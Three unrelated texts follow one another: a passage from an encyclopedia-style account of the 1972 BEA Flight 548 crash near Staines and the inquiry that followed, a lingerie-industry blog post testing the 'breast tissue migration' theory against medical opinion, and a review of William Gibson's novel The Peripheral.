dangerous stalling characteristics. If its airspeed was insufficient, and particularly if its high-lift devices were not extended at the low speeds typical of climbing away after take-off or of approaching to land, it could enter a deep stall (or "superstall") condition, in which the tail control surfaces become ineffective (as they are in the turbulence zone of the stalled main wing) from which recovery was practically impossible.[14]  The danger first came to light in a near-crash during a 1962 test flight when de Havilland pilots Peter Bugge and Ron Clear were testing the Trident's stalling characteristics by pitching its nose progressively higher, thus reducing its airspeed. The Trident entered a deep stall after a critical angle of attack was reached. Eventually, it entered a flat spin, and appeared to be about to crash, but a wing dropped during the stall, and when corrected with rudder the other wing dropped. The aircraft continued rolling left and right until the nose pitched down and the crew were able to recover to normal flight.[15] The incident resulted in the Trident being fitted with an automatic stall warning system known as a "stick shaker", and a stall recovery system known as a "stick pusher" which automatically pitched the aircraft down to build up speed if the crew failed to respond to the warning.[15]  These systems were the subject of a comprehensive stall programme, involving some 3,500 stalls being performed by Hawker Siddeley before the matter was considered resolved by the Air Registration Board.[16] The stall warning and recovery systems tended to over-react:[15] of ten activations between the Trident entering service and June 1972, only half were genuine, although in the previous 6½ years there had been no false activations when an aircraft was actually in the air.[17] When BEA Trident pilots were questioned informally by one captain, over half of the pilots said that they would disable the protection systems on activation rather than let them recover the aircraft to a safe attitude. Random checks carried out by the airline after the accident showed that this was not the case; 21 captains stated that they had witnessed their co-pilots react correctly to any stall warnings.[18]  Felthorpe accident [ edit ]  The aircraft model's potential to enter a deep stall was highlighted in the crash of Trident 1C G-ARPY on 3 June 1966 near Felthorpe in Norfolk during a test flight, with the loss of all four pilots on board. In this accident, the crew had deliberately switched off the stick shaker and stick pusher as required by the stall test schedule, and the probable cause was determined to be the crew's failure to take timely positive recovery action to counter an impending stall.[19] The Confidential Human Factors Incident Reporting Programme (CHIRP), an experimental, voluntary, anonymous and informal system of reporting hazardous air events introduced within BEA in the late 1960s (and later adopted by the Civil Aviation Authority and NASA), brought to light two near-accidents, the "Orly" and "Naples" incidents: these involved flight crew error in the first case and suspicion of the Trident's control layout in the second case.[20][21]  Orly (Paris) incident [ edit ]  In December 1968, the captain of a Trident 1C departing Paris-Orly Airport for London tried to improve climb performance by retracting the flaps shortly after take-off. This was a non-standard procedure, and shortly afterward he also retracted the leading-edge droops. This configuration of high-lift devices at a low airspeed would have resulted in a deep stall, but the co-pilot noticed the error, increased airspeed and re-extended the droops, and the flight continued normally. The event became known as the "Paris Incident" or the "Orly Incident" among BEA staff.[22]  Naples incident [ edit ]  G-AVFH Passenger cabin of Trident 2E,  In a further near-accident, a Trident 2E, G-AVFH, climbing away from London Heathrow for Naples in May 1970 experienced what was claimed by its flight crew to have been a spontaneous uncommanded retraction of the leading-edge slats which was initially unnoticed by any of them.[nb 2] The aircraft's automatic systems sensed the loss of airspeed and lift and issued two stall warnings. Since the crew did not initially detect anything amiss, they disabled the automatic system. While doing so, the first officer noted and immediately remedied the problem by re-extending the retracted slats, and the flight continued normally.[23]  Investigations into the event found no mechanical malfunction that could have caused the premature leading-edge device retraction, and stated that the aircraft had "just about managed to stay flying".[23] A possible design fault in the high-lift control interlocks came under suspicion, although this was discounted during the investigation into the crash of Papa India.[24] The event became known as the "Naples Incident" or the "Foxtrot Hotel Incident" (after the registration of the aircraft concerned) at BEA and was examined during the accident inquiry.[25] The forward fuselage of this aircraft is preserved and on public display at the de Havilland Aircraft Heritage Centre, London Colney.[26]  Previous ground accident involving G-ARPI [ edit ]  An accident affecting the particular Trident operating as BE 548 had occurred on 3 July 1968. Due to a control failure, an Airspeed Ambassador freight aircraft, G-AMAD, deviated from the runway on landing at Heathrow and struck G-ARPI and its neighbouring sister aircraft, G-ARPT, while they were parked unoccupied near Terminal 1, resulting in six fatalities from the freighter's eight occupants.[27] G-ARPT was cut in two and was damaged beyond economic repair; G-ARPI lost its tail fin, which was repaired at a cost of £750,000 (£12.8 million today). G-ARPI performed satisfactorily thereafter; the incident is thought to have had no bearing on its subsequent crash.[23][28]  Trident G-ARPI later suffered some minor undercarriage damage as a result of skidding off the runway at Basel during a cross-wind landing on 4 February 1970.[29]  Accident [ edit ]  Note: All timings in Greenwich Mean Time (GMT) from the official accident report.  Departure [ edit ]  P3 position of a BEA Hawker Siddeley Trident  The flight crew boarded BE 548 (call sign Bealine 548)[30] at 15:20 to prepare for a 15:45 departure. The crew comprised Captain Stanley Key as P1, Second Officer Jeremy Keighley as P2 and Second Officer Simon Ticehurst as P3. Captain Key was 51 and had 15,000 flying hours experience, including 4,000 on Tridents. Keighley was 22 and had joined line flying a month and a half earlier, with 29 hours as P2. Ticehurst was 24 and had over 1,400 hours, including 750 hours on Tridents.[31]  Among the passengers were 29 Americans, 29 Belgians, 28 Britons, 12 Irish, four South Africans and three Canadians. There was also one passenger from each of French West Africa, India, Jamaica, Latin America, Nigeria and Thailand. The passengers included between 25 and 30 women and several children.[32]  At 15:36, flight dispatcher J. Coleman presented the load sheet to Key whose request for engine start clearance was granted three minutes later. As the doors were about to close, Coleman asked Key to accommodate a BEA flight crew that had to collect a Merchantman aircraft from Brussels. The additional weight of the three crew members necessitated the removal of a quantity of mail and freight from the Trident to ensure its total weight (less fuel) did not exceed the permitted maximum of 41,730 kg. This was exceeded by 24 kg, but as there had been considerable fuel burnoff between startup and takeoff, the total aircraft weight (including fuel) was within the maximum permitted take-off weight.[33][34]  The "deadheading" crew was led by Captain John Collins, an experienced former Trident First Officer, who was allocated the observer's seat on the flight deck. One seat, occupied by a baby, was freed by the mother holding it in her arms.[35]  Flight path of BEA Flight 548, superimposed on a map of present-day Heathrow Airport and surrounding areas; the red numbers are times in seconds from brake release.  The doors closed at 15:58 and at 16:00 Key requested pushback. At 16:03 BE 548 was cleared to taxi to the holding point adjacent to the start of Runway 27 Right. During taxi, at 16:06 the flight received its departure route clearance: a routing known as the "Dover One Standard Instrument Departure". This Standard Instrument Departure involved taking-off to the west over the Instrument Landing System localiser and middle marker beacon of the reciprocal Runway 09 Left, turning left to intercept the 145° bearing to the Epsom Non-Directional Beacon (NDB) (to be passed at 3,000 feet (910 m) or more), and then proceeding to Dover. Key advised the tower that he was ready for take-off and was cleared to do so. He subsequently reported an unspecified technical problem and remained at the holding point for two minutes to resolve it.[36]  At 16:08 Key again requested and received take-off clearance. A cross wind was blowing from 210° at 17 knots (31 km/h). Conditions were turbulent, with driving rain and a low cloud base of 1,000 feet (300 m); broken cloud was also reported at 600 feet (180 m), and the official report says that the crew would have been without any visual reference at "crucial times" during the flight.[37][38] At 16:08:30 BE 548 began its take-off run, which lasted 44 seconds, the aircraft leaving the ground at an indicated airspeed (IAS) of 145 knots (269 km/h). The safe climb speed (V2) of 152 knots (282 km/h) was reached quickly, and the undercarriage was retracted.[36] After 19 seconds in the air the autopilot was engaged at 355 feet (108 m) and 170 knots (310 km/h); the autopilot's airspeed lock was engaged even though the actual required initial climb speed was 177 knots (328 km/h).[36]  At 16:09:44 (74 seconds after the start of the take-off run), passing 690 feet (210 m), Key began the turn towards the Epsom NDB and reported that he was climbing as cleared and the flight entered cloud.[39] At 16:10 (90 seconds), Key commenced a standard noise abatement procedure which involved reducing engine power. As part of this, at 16:10:03 (93 seconds) he retracted the flaps from their take-off setting of 20°. Shortly afterwards, BE 548 reported passing 1,500 feet (460 m) above ground level and was re-cleared to climb to 6,000 feet (1,800 m) above sea level.[36] During the turn, the airspeed decreased to 157 knots (291 km/h), 20 knots (37 km/h) below the target speed.[40]  Stall warnings [ edit ]  At 16:10:24 (114 seconds), the leading-edge devices were selected to be retracted at a height above the ground of 1,770 feet (540 m) and a speed of 162 knots (300 km/h),[41] 63 knots (117 km/h) below the safe droop-retraction speed of 225 knots (417 km/h).[37] One second afterwards, visual and audible warnings of a stall activated on the flight deck, followed at 16:10:26 hrs (116 seconds) by a stick shake and at 16:10:27hrs (117 seconds) by a stick push which disconnected the autopilot, in turn activating a loud autopilot disconnect warning horn that continued to sound for the remainder of the flight. Key levelled the wings but held the aircraft's nose up, which kept the angle of attack high, further approaching a stall.[42]  By 16:10:32 (122 seconds), the leading-edge devices had stowed fully into the wing. The speed was 177 knots (328 km/h), and height above the ground was 1,560 feet (480 m), with the aircraft still held into its usual climb attitude. Key continued to hold the nose-up attitude when there was a second stick shake and stick push in the following two seconds. A third stick push followed 127 seconds into the flight but no recovery was attempted. One second later, the stall warning and recovery system was over-ridden by a flight crew member.[43]  At 16:10:39 (129 seconds), the aircraft had descended to 1,275 feet (389 m) and accelerated to 193 knots (357 km/h) as a result of the stall recovery system having pitched the aircraft's nose down to increase airspeed. G-ARPI was in a 16° banked turn to the left, still on course to intercept its assigned route. Key pulled the nose up once more to reduce airspeed slightly, to the normal 'droops extended' climb speed of 177 knots (328 km/h), but this further stalled the aircraft.[43]  At 16:10:43 (133 seconds), the Trident entered a deep stall. It was descending through 1,200 feet (370 m), its nose was pitched up by 31°, and its airspeed had fallen below the minimum indication of 54 knots (100 km/h). At 16:10:47 (137 seconds) and 1,000 feet (300 m), the Trident was descending at 4,500 feet per minute (23 m/s).[43] Impact with the ground came at 16:11, precisely 150 seconds after brake release.[43]  The aircraft just cleared high-tension overhead power lines and came to rest on a narrow strip of land surrounded by tall trees immediately south of the A30 road,[44] and a short distance south of the King George VI Reservoir near the town of Staines-upon-Thames.[45] There was no fire on impact, but one broke out during the rescue effort when cutting apparatus was used.[38]  Eyewitnesses and rescue operations [ edit ]  There were three eyewitnesses; brothers Paul and Trevor Burke, aged 9 and 13, who were walking nearby,[43] and a motorist who called at a house to telephone the airport.[44]  We were out with the dog and I looked up and saw the plane. It was just coming out of the mist when the engines stalled and it seemed it glided down. It was just like a dream. The plane just fell out of the sky. We just about saw it hit the ground ... because it was right in a clump of trees. When it did hit the ground the front bit hit first and the back bit was just blown away. — Trevor Burke, Mayday  Air traffic controllers had not noticed the disappearance from radar. Emergency services only became aware of the accident after 15 minutes and did not know the circumstances for nearly an hour. First on the scene was a nurse living nearby, who had been alerted by the boys, and an ambulance crew that happened to be driving past.[44][45] A male passenger who had survived the accident was discovered in the aircraft cabin, but died on arrival at Ashford Hospital without recovering consciousness.[45] A young girl was also found alive but died at the scene; there were no other survivors.[46] Altogether, 30 ambulances and 25 fire engines attended the accident.[47]  Drivers formed heavy traffic jams and were described by Minister of Aerospace Michael Heseltine on BBC Television that evening as "ghouls, unfortunate ghouls".[48] Reports that the public impeded rescue services were dismissed during the inquiry.[44][45] In addition, some witnesses claimed the traffic jams were the result of the recovery and rescue, during which the police closed the A30 road.[49]  A BEA captain, Eric Pritchard, arrived soon after the bodies had been removed; he noted the condition of the wreckage and drew conclusions:[48]  The aircraft had impacted in a high nose up attitude. The No. 2 engine had dug a considerable crater. The tail section was almost if not completely separated from the rest of the airframe. There was little evidence of any forward movement, in fact, the complete aircraft looked intact though distorted and broken, mainly the fuselage. Both wings suffered not much visible damage. I noticed that the droops and flaps were retracted. — Eric Pritchard, Mayday  The accident was the worst air disaster in the United Kingdom until the Pan Am Flight 103 crash at Lockerbie, Scotland in 1988.[50] The crash was the first in the United Kingdom involving the loss of more than 100 lives.[51]  Investigation and public inquiry [ edit ]  This remains the deadliest air accident to take place in the United Kingdom. Pan Am Flight 103, which killed more people, was a terrorist action.  On Monday 19 June 1972 Michael Heseltine told the House of Commons that he had directed a Court of Inquiry, an ad hoc tribunal popularly called a "public inquiry", to investigate and report on the accident.[38] Public inquiries bypassed the usual British practice whereby the Accidents Investigation Branch (AIB) investigated and reported on air crashes, and were held only in cases of acute public interest. On 14 July, the High Court Judge Sir Geoffrey Lane was appointed to preside over the inquiry as Commissioner.[52]  The British aviation community was wary of public inquiries for several reasons.[53] In such inquiries, AIB inspectors were on an equal footing with all other parties, and the ultimate reports were not drafted by them, but by the Commissioner and his or her Assessors. Proceedings were often adversarial, with counsel for victims' families regularly attempting to secure positions for future litigation, and deadlines were frequently imposed on investigators.[54] Pressure of work caused by the Lane Inquiry was blamed for the death of a senior AIB inspector who committed suicide during the inquiry.[55]  AIB investigation and coroner's inquest [ edit ]  The aircraft's two flight data recorders were removed for immediate examination, and investigations at the site of the accident were completed within a week.[38] The wreckage of Papa India was then removed to a hangar at the Royal Aircraft Establishment in Farnborough, Hampshire, for partial re-assembly aimed at checking the integrity of its flight control systems.[56] An inquest was held into the 118 deaths, opening on 27 June 1972.[57]  The pathologist stated that Captain Key had an existing heart condition, atherosclerosis, and had suffered a potentially distressing arterial event caused by raised blood pressure typical of stress. (This event was popularly interpreted by the public as a heart attack.)[58] It had taken place "not more than two hours before the death and not less than about a minute" according to the pathologist's opinion given as evidence during the public inquiry.[59] In other words, Key could have suffered it at any time between the row in the crewroom and 90 seconds after the start of the take-off run (the instant of commencing noise abatement procedures). The pathologist could not specify the degree of discomfort or incapacitation which Key might have felt. The Captain's medical state continued to be the subject of "conflicting views of medical experts" throughout the inquiry and beyond.[60]  Lane Inquiry [ edit ]  The public inquiry, known as the "Lane Inquiry", opened at the Piccadilly Hotel in London on 20 November 1972, and continued until 25 January 1973, with a break over Christmas,[61] despite expectations that it would end sooner.[62] It was opened by Geoffrey Wilkinson of the AIB with a description of the accident, and counsel for the relatives of the crew members and passengers then presented the results of their private investigations. In particular, Lee Kreindler of the New York City Bar presented claims and arguments that were considered tendentious and inadmissible by pilots and press reporters.[63] They involved hypotheses about the mental state of Captain Key, conjecture about his physical state (Kreindler highlighted disagreements between US and British cardiologists) and allegations about BEA management. The allegations were delivered using tactics considered as "bordering on the unethical".[64][65]  The inquiry also conducted field inspections, flew in real Tridents and "flew" the BEA Trident simulator as well as observing the Hawker Siddeley Trident control systems rig. Its members visited the reassembled wreckage of G-ARPI at Farnborough and were followed by the press throughout their movements. The bare facts being more-or-less uncovered soon after the event, the inquiry was frustrated by the lack of a cockpit voice recorder fitted to the accident aircraft.[66][nb 3]  The stall warning and stall recovery systems were at the centre of the inquiry, which examined in some detail their operation and why the flight crew might have over-ridden them. A three-way air pressure valve (part of the stall recovery system) was found to have been one-sixth of a turn out of position, and the locking wire which secured it was missing.[68] Calculations carried out by Hawker Siddeley determined that if the valve had been in this position during the flight then the reduction in engine power for the noise abatement procedure could have activated the warning light that indicated low air pressure in the system.[68] The failure indications might have appeared just prior to take-off and could have accounted for the two-minute delay at the end of the runway.[55] A captain who had flown Papa India on the morning of the accident flight noted no technical problems, and the public inquiry found that the position of the valve had no significant effect on the system.[68]  Findings and recommendations [ edit ]  The Lane Report was published on 14 April 1973. Speaking in the House of Commons, Minister for Aerospace and Shipping Michael Heseltine paid tribute to the work done by Mr Justice Lane, Sir Morien Morgan and Captain Jessop for the work they had carried out during the inquiry into the accident.[69]  The inquiry's findings as to the main causes of the accident,[70] were that:  The captain failed to maintain the recommended airspeed.  The leading-edge devices were retracted prematurely.  The crew failed to monitor airspeed and aircraft configuration.  The crew failed to recognise the reasons for the stall warnings and stall recovery system operation.  The crew wrongly disabled the stall recovery system.  Underlying causes of the accident were also identified:[70]  That Captain Key was suffering from a heart condition.  The presence of Captain Collins on the flight deck might have been a distraction.  The lack of crew training on how to manage pilot incapacitation.  The low flying-experience level of Second Officer Keighley.  Apparent crew unawareness regarding the effects of an aircraft configuration change.  Crew unawareness regarding the stall protection systems and the cause of the event.  The absence of a baulk mechanism to prevent droop retraction at too low an airspeed.  Recommendations included an urgent call for cockpit voice recorders and for closer co-operation between the Civil Aviation Authority and British airlines.[71] Although the report covered the state of industrial relations at BEA, no mention was made of it in its conclusions, despite the feelings of observers that it intruded directly and comprehensively onto the aircraft's flight deck.[64] BEA ceased to exist as a separate entity in 1974, when it and the British Overseas Airways Corporation merged to form British Airways. A recommendation of the report that all British-registered civil passenger-carrying aircraft of more than 27,000 kg (60,000 lb) all-up weight should be equipped with cockpit voice recorders resulted in their fitting becoming mandatory on larger British-registered airliners from 1973.[72][73]  One issue treated as secondary at the inquiry was the presence in the flight deck observer's seat of Captain Collins. The Lane report recommended greater caution in allowing off-duty flight crew members to occupy flight deck seats, and aired speculation that Collins might have been distracting his colleagues.[70][72] The report noted that Collins' body was found to be holding a can of aerosol air freshener in its right hand.[41] Sources close to the events of the time suggest that Collins played an altogether more positive role by attempting to lower the leading-edge devices in the final seconds of the flight; Eric Pritchard, a Trident captain who happened to be the first airman at the accident site, recalled that a fireman had stated that Collins was lying across the centre pedestal and noted himself that his earphones had fallen into the right-hand-side footwell of the flight deck, diagonally across from the observer's seat, as might be expected if he had attempted to intervene as a last resort.[74]  There were protests at the conduct of the inquiry by BALPA (which likened it to "a lawyers' picnic"), and by the Guild of Air Pilots and Air Navigators which condemned the rules of evidence adopted and the adversarial nature of the proceedings. Observers also pointed to an unduly-favourable disposition by the inquiry to Hawker Siddeley, manufacturer of the Trident, and to the makers of the aircraft's systems.[58] Debate about the inquiry continued throughout 1973 and beyond.[75][76]  The accident led to a much greater emphasis on crew resource management training, a system of flight deck safety awareness that remains in use today.[21]  Victims and memorials [ edit ]  The plaque on the Trident air crash memorial in Waters Drive recreation ground  All 118 persons aboard the aircraft were killed: 112 passengers and 6 crew members. Among the passengers were 12 senior businessmen from Ireland, including the head of the Confederation of Irish Industry, who were en route to Brussels for meetings preparatory to Ireland's accession to the European Economic Community.[77]  A group of 16 doctors and senior staff from the Royal London Homeopathic Hospital were also on board, and a memorial bench to them was placed close to Great Ormond Street Hospital in Queen Square.[78]  Former CIA official Carmel Offie, who had been dismissed for homosexuality, considered to be a security risk factor at the time, was also on board.[79]  Two memorials to all the victims were dedicated on 18 June 2004 in the town of Staines. The first is a stained-glass window in St Mary's Church where an annual memorial service is held on 18 June.[80] The second is a garden near the end of Waters Drive in the Moormede Estate, close to the accident site.[81]  Dramatisation [ edit ]  The story of the accident was featured on the thirteenth season of the Canadian television show Mayday in an episode entitled "Fight to the Death" (known as Air Disasters in the US, and as Air Crash Investigation in the UK and the rest of the world). The story was also featured in an episode of Air Crash Confidential produced by World Media Rights; made at the FAST Museum, Farnborough, UK using the cockpit of a Trident 3 (G-AWZI).  See also [ edit ]  Similar accidents  Lists  References [ edit ]  ^ Papa India from the [8] The aircraft is commonly referred to asfrom the phonetic spelling of the last two letters of its civil registration, G-ARPI. ^ [22] The Trident 1 featured drooping leading-edge devices, the Trident 2 employed extending slats. Their aerodynamic effect was similar, and both devices were controlled by the same lever on the flight deck. Crews often referred to both types as 'droops'. ^ [67] A full list of inquiry board members, counsel and witnesses is given at Appendix A to the official accident report.  Citations [ edit ]
-Breast Tissue Migration: Fact or Fiction?  By Ali Cudby  Recently, a bra blogger asked if a particular fit problem could be attributed to breast tissue migration. That question prompted me to research the topic, because we owe it to our customers to understand the fit issues being discussed in the world.  Breast tissue migration has not been covered in my online bra fit school for professionals, The FabFit Academy, because I didn’t previously have an informed opinion on the topic. After speaking with both the bra blogging community and the medical community, I have a better understanding of what breast tissue migration is (and isn’t) and how it affects the subject that is the core of your business as a lingerie retailer, namely, how bras fit.  Breast tissue migration seems to be most commonly defined as “breast tissue that is semi-permanently redistributed to the armpit and/or back area, as the result of an ill-fitting bra.” Overall, the argument is that wearing a properly fitting bra over a period of weeks or months will redistribute breast tissue from its migrated position to its natural home in the “cup” area of the breast and, by extension, the bra.  The origin of the breast tissue migration theory seems to stem from Polish bra bloggers. The earliest reference I found was from the Venusian Glow blog in September 2009. The blog post states that, “the breasts sneak out of the too-small cups into the armpit area. Presto! Instant armpit rolls! Very often, migration doesn’t stop here. Breast tissue, unchecked by the loose band, wanders further away…and ends up as back rolls.” Venusian Glow author Eternal Voyageur shared that the phenomenon is widely discussed in Polish bra blogging circles. She directed me to a Polish blog (also from 2009) that walks through the breast tissue migration phenomenon.  Since these blog posts, American bra bloggers and many consumers have shared robust support for the theory.  My understanding is that breast tissue migration suggests three components, all of which must exist in order to prove the theory.  1) An ill-fitting bra can cause breast tissue to spill into non-cup areas of the body  2) This “spillage” can go a) toward the armpit/underarm areas and/or b) find its way to a woman’s back  3) The effect is actually a semi-permanent migration, reversed only by wearing a properly fitting bra for  several weeks.  Let’s break these claims down, one by one:  Claim #1: An ill-fitting bra can cause breast tissue to spill into non-cup areas of the body  This notion makes perfect sense. When a bra cup is too small, the excess breast tissue has to go somewhere. After all, it boils down to basic scientific principles. If you are trying to put more units of volume into a container that is too small, there will be overflow. In this case, breasts encased in a too-small cup will spill into a variety of places, including the underarm.  Claim #2: Spillage can go toward the armpit/underarm area  According to Rebecca Kaltman, MD Oncologist at George Washington University, there is a biological basis for seeing breast tissue under the armpit area. Says Kaltman, “Under normal conditions, breast tissue extends up toward the axilla (the under arm) and is called the ‘Axillary Tail of Spence.’ This is not ‘migrated breast tissue,’ just actual breast tissue that extends beyond where most people feel the breast tissue might go.” So claim #2a seems to pass the sniff test, as well, since it’s reasonable to find breast tissue under the armpit and in the fold between the shoulder and the chest wall.  Let’s look at claim #2b, the notion that rolls on the back are actually breast tissue. A look at the photos in the Venusian Glow blog post from 2009, reveals some excellent examples of ways that bra fit itself can impact bodily appearance. A band that’s too loose can ride up, pushing the flesh on the back into rolls that appear to be “back fat.” It’s the fit that creates the unflattering look. (photos via Venusian Glow)  A band that’s too thin can further complicate fit issues  to create unsightly bulges.  (photos via Venusian Glow)  This back flesh is not breast tissue, migrated or otherwise. There is simply no biological basis for breast tissue to travel to the areas of the back indicated in these photos. A properly fitting bra can alter the appearance of back flesh, but does not redistribute it in any real sense of the word.  Claim #3: Breast Tissue Migration is actually a semi-permanent migration  The crux of the breast tissue migration theory is that the movement is a physical manifestation from years of wearing ill-fitting bras. The bra blogger community’s, “proof for [breast tissue migration] is that when women get their first perfectly-fitting bras and are taught to regularly scoop and swoop, often after a few weeks they need to go up a cup size. Obviously new bras don’t make breasts grow, so the only explanation is that the migrated tissue has returned to the cup,” according to Suchocka-Mohr.  Elisabeth Dale, breast expert and Founder of The Breast Life, is skeptical. “If a bra could, by way of lifting, improve our breasts, then why would any woman ever have a lift? A bra can’t do much but make you look better in your clothes. And any woman who has worn a push-up or padded one knows it’s all an optical illusion.”  Dale’s observation raises an excellent point. If an improperly fitting bra creates a negative effect, then the biology should work both ways. If breast tissue is “moldable,” it would seem to suggest that we could migrate breast tissue up and in after wearing a push up bra for an extended period of time. Or make the breasts pointy by wearing a bullet bra. But nobody is making that argument about breast tissue.  One caveat from the medical side is an observation from Plastic Surgeon Byron Poindexter, of Austin Weston Center for Cosmetic Surgery in Virginia, “from the surgical perspective we can see patients after surgery that are in a more ‘moldable’ state and garments or clothing that they wear after surgery can have a more permanent effect on their shape. But these patients have had a temporary disruption of the normal skin and fat structures that hold us all together that allows this to happen.”  When asked about the idea of other, unaltered breast tissue behaving in the same way, Dr. Poindexter unequivocally does not see it as a possibility . “I do see patients who have concerns of ‘hangover’ of tissue in the armpit area, or on the back,” says Dr. Poindexter. “This is not breast tissue that has been permanently pushed there. Rather, it is breast tissue or fat that is naturally there that may be temporarily exaggerated due to and while wearing garments like poor-fitting bras. I am not aware of any evidence to support this type of ‘migration.’ It also doesn’t really fit with what we know about the breast anatomically or how it changes through time. We would love it if there were a way to utilize a garment to permanently restructure an area, but it just doesn’t happen. Breast tissue really just wants to go one way, and that is down where gravity is pulling it. If an ill-fitting bra worked to migrate tissue out into an armpit, then a good fitting one would be able to migrate it up and keep it on the chest.”  In summary, the medical community and the bra blogger community disagree about the existence of breast tissue migration as a semi-permanent manifestation of wearing an ill-fitting bra  After having thought about the topic for an extended period of time, there are aspects of the breast tissue migration theory that are troubling. The theory – and several of the bra blog posts I’ve seen on the topic – seems to suggest that women should have no armpit flesh or bulges in any location near their bra. That seems like an unrealistically high standard with too much potential for body shaming. Women already suffer from body image issues. The byproduct of believing in breast tissue migration could end up exacerbating the problem.  There are simply too many differences in women from body to body. I have seen plenty of women who wear properly fitting bras and who also have some extra flesh in the armpit region. If we send the message that bras “should” reverse what biology decrees, do we run the risk of undermining both women’s self-confidence and our own mission as fitters?  What’s your take on breast tissue migration?
-Let’s just get this out of the way: lots of people are going to say that The Peripheral is William Gibson’s return to science fiction. But what do they mean when they say that? Is it that he’s gone back to writing about some future time decades ahead of our own, extrapolating current technology into a future world where cheap consumer goods are made to order on 3D printers and paparazzi operate through tiny drone cameras?  Sure; by that definition, yes, Gibson is writing science fiction again. But he never really stopped. Although what’s variously known as the Blue Ant trilogy or the Bigend trilogy is set in the first decade of the twenty-first century (9/11, the Iraq war, the financial crisis), it’s rendered in queasily paranoid tones that make “our” world nearly as unfamiliar and otherworldly as cyberspace might have seemed in 1984 or portable VR goggles in 1993. Gibson is of the school of thought that science fiction is necessarily about the present in which it’s written, and The Peripheral, future setting notwithstanding, is in keeping with that philosophy. There are damaged young war veterans, a pervasive surveillance state, drones of all kinds, drastic economic inequality, and a powerful sense of impending manifold catastrophe.  The Peripheral is built on a mystery-thriller plot in the tradition of Blow-Up or The Conversation. Flynne Fisher, the latest of Gibson’s likable, resilient, and deeply moral heroines, lives in an unnamed small town somewhere in rural America—perhaps the South or Appalachia—where she looks after her chronically ill mother and drifts from one job to the next. It’s the mid-twenty-first century; five thousand dollars pays for two bags of groceries, and there are only so many ways to earn it. “Builders” are a cornerstone of the local economy—cooking up drugs. Otherwise, you can join the military, but you might come back with the not-quite-PTSD glitches and shivers that Flynne’s brother Burton suffers as a result of the haptic tattoos that USMC Haptic Recon 1 “put there to tell him when to run, when to be still, when to do the bad-ass dance”, or you might be missing a limb or three, like Burton’s best friend Conner. You might run a store where shoes, phones, and holiday decorations are constructed on 3D printers, or quietly gin up illegal copies of same.  Or you might play video games for a living: multiplayer shooters for wealthy people to bet on, your pay based on how long you survive in the game. Flynne quit that line of work after a run on a World War II game called “Operation Northwind”; her sense of justice outraged by a “rich fuck” who enjoyed eliminating Flynne’s fellow players who needed the money, she went on a stimulant-fueled three-day revenge hunt in-game, and after beating her opponent, she never went back. But her experience as a gamer is why Burton asks her to fill in for him on a sideline she didn’t know he had—a beta test of a drone surveillance game, developed by a company called Milagros Coldiron. While she’s doing Burton’s job, Flynne sees something in the game that is either a grim-dark twist in the game’s plot or a murder. Matters escalate to a carful of hitmen at the end of her street, and it only gets worse and weirder from there.  It’s not immediately obvious what Flynne’s story has to do with a glib, alcoholic PR man named Netherton, or his attempts to manage a loose-cannon performance artist-cum-ambassador on a mission to a scary, cannibalistic colony in the middle of the Pacific Garbage Patch. Netherton inhabits a casually luxurious London of glass and steel “shard” skyscrapers and creepy technology like the “peripherals” of the title: remote-controlled drone bodies with direct sensory experience for the controller, used to go to the opera or have a face-to-face meeting in another country, for instance. (Gibson fans will remember Case accessing Molly’s sensorium in Neuromancer; this is similar, with added physical control of what is effectively an entire prosthetic body.) Everyone knows Gibson’s maxim that “the future is here—it’s just not very evenly distributed”; the distribution between Netherton’s London and Flynne’s rural town is as uneven as you can get before you factor in the poorest of third-world countries.  Describing the nature of Flynne and Netherton’s inevitable collision and Coldiron’s true agenda will reveal pleasures of Gibson’s narrative that I’d rather leave for the reader to discover on their own. Without getting into spoiler territory, one can safely say that this may be one of Gibson’s most political works to date. Economic disparity is no new subject for him, but there’s a distinct thread of anger against the wealthiest of the wealthy who enjoy enormous levels of power and manipulation over others. Among the worst, their power is inversely proportional to their concern for the lives that they damage in pursuit of more money, more power, or even just a little advantage over someone they don’t like.  Some writers might resort to the “particular flavor” of histrionics of which Gibson described his distrust in his essay “Time Machine Cuba”—like when H.G. Wells announces that his epitaph “will manifestly have to be ‘I told you so. You damned fools.’” Gibson doesn’t do shrillness. He does do atmospheric dread, and that quality communicates the anger well enough. The Peripheral is infused with the awareness that catastrophe is no single apocalyptic moment, but a series of events that most people stumble blindly through, only seeing the entirety of the disaster clearly in hindsight. If you’re rich, your money will insulate you, but if you’re unlucky, poor, or otherwise marginalized, those events will mow you down.  Flynne and her family would be among those mowed down, but as they and their allies find their roles in the world changing, they must protect themselves with drastic measures against increasingly high stakes; tension mounts, violence ensues, daring gambits are played by highly-trained specialists. Gibson brings his narrative threads to an abrupt, explosive conclusion over an oddly anticlimactic macguffin—though the sheer meanness and pettiness of it only underlines the villains’ banal venality.  This conclusion depends on a character whose abilities nearly make them a literal deus ex machina, and whose manipulations carry other characters along like corks floating in a river. It seems too easy and neat, as does the Shakespearian level of matchmaking that ties up events after the big showdown. But further consideration of events suggests sinister undercurrents; while matters may seem pleasantly assured for the characters for the time being, there are uncomfortable questions about how they got there, and what the unintended consequences might be.  Nevertheless, The Peripheral isn’t a polemic, and polemics aren’t what you go to Gibson for anyway. You show up for the theatre of ideas, and for the detailed art direction and his magnificently precise, descriptive language. Flynne’s brother lives in an antique Airstream trailer lined inside with a Vaseline-colored polymer that traps dirt and artifacts like fossils in amber: “a legally sold cigarette, older than she was … a rusty jeweler’s screwdriver, and somewhere else a 2009 quarter”. A programmer’s user interface devices are a set of finger rings, “gotten up like the rusty magic iron of imaginary kings, set with dull pebbles that lit and died as her white fingers brushed them”. Flynne’s phone isn’t described in detail, but we know that she can bend it to wear on her wrist and or to use it as a game controller—just one example of many judiciously deployed signifiers of technological proximity or distance.  Similarly, the near-future slang is just different enough to be slightly disorienting—counterfeit goods and corrupt officials are “funny”, and Homeland Security—a term encompassing all law enforcement here—is simply known as “Homes” (and accepted by everyone, with some resignation, as an omnipresent fact of life). And Gibson’s evocations of setting are note-perfect. Flynne’s home town (curiously distant from our culture wars, it seems) is a backwater where strip malls sit half-empty and everyone knows each other the way their parents, grandparents, and great-grandparents did; Netherton’s London is a cold, eerie bubble of extreme wealth, where no hobby is too esoteric if you have enough money.  Gibson has argued that the “dystopia” of Neuromancer had a lining of optimism in positing a world where the USA and USSR hadn’t actually blown everything up. The crack through which the light enters in The Peripheral is Flynne, who resists the worst temptations of power and learns that “evil wasn’t glamorous, but just the result of ordinary half-assed badness, high school badness, given enough room, however that might happen, to become its bigger self.” In her own world, she is peripheral, existing on the far edges of power, barely existing to the great and not-so-good until she calls attention to herself. Her home town and her family are, from a certain point of view, a statistic. 